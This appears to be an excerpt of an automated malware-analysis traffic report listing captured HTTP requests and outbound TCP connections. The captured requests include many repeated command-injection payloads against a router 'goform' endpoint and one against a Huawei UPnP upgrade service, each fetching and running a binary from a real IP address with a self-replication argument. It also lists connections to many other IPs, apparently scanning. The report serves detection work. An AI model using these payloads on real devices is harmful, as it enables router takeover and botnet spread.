Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;

Source: unknown	TCP traffic detected without corresponding DNS query: 41.231.32.117
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.88.117
Source: unknown	TCP traffic detected without corresponding DNS query: 157.74.183.76
Source: unknown	TCP traffic detected without corresponding DNS query: 128.246.123.164
Source: unknown	TCP traffic detected without corresponding DNS query: 197.215.17.152
Source: unknown	TCP traffic detected without corresponding DNS query: 41.152.84.139
Source: unknown	TCP traffic detected without corresponding DNS query: 41.31.214.62
Source: unknown	TCP traffic detected without corresponding DNS query: 197.107.111.104
Source: unknown	TCP traffic detected without corresponding DNS query: 54.42.173.230
Source: unknown	TCP traffic detected without corresponding DNS query: 197.85.164.12
Source: unknown	TCP traffic detected without corresponding DNS query: 157.138.192.43
Source: unknown	TCP traffic detected without corresponding DNS query: 157.131.140.100
Source: unknown	TCP traffic detected without corresponding DNS query: 41.185.191.101
Source: unknown	TCP traffic detected without corresponding DNS query: 197.182.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 157.27.59.18
Source: unknown	TCP traffic detected without corresponding DNS query: 157.208.122.98
Source: unknown	TCP traffic detected without corresponding DNS query: 197.238.114.74
Source: unknown	TCP traffic detected without corresponding DNS query: 197.154.1.71
Source: unknown	TCP traffic detected without corresponding DNS query: 41.149.151.167
Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.180.27
Source: unknown	TCP traffic detected without corresponding DNS query: 65.226.81.233
Source: unknown	TCP traffic detected without corresponding DNS query: 157.241.198.146
Source: unknown	TCP traffic detected without corresponding DNS query: 14.14.220.177
Source: unknown	TCP traffic detected without corresponding DNS query: 197.247.89.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.93.111.9
Source: unknown	TCP traffic detected without corresponding DNS query: 197.181.63.81
Source: unknown	TCP traffic detected without corresponding DNS query: 41.211.81.166
Source: unknown	TCP traffic detected without corresponding DNS query: 197.168.78.87
Source: unknown	TCP traffic detected without corresponding DNS query: 197.65.49.208
Source: unknown	TCP traffic detected without corresponding DNS query: 43.82.170.160
Source: unknown	TCP traffic detected without corresponding DNS query: 174.172.180.87
Source: unknown	TCP traffic detected without corresponding DNS query: 158.253.37.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.33.38.75
Source: unknown	TCP traffic detected without corresponding DNS query: 150.238.19.142
Source: unknown	TCP traffic detected without corresponding DNS query: 187.48.57.147
Source: unknown	TCP traffic detected without corresponding DNS query: 85.190.35.181
Source: unknown	TCP traffic detected without corresponding DNS query: 121.91.176.35
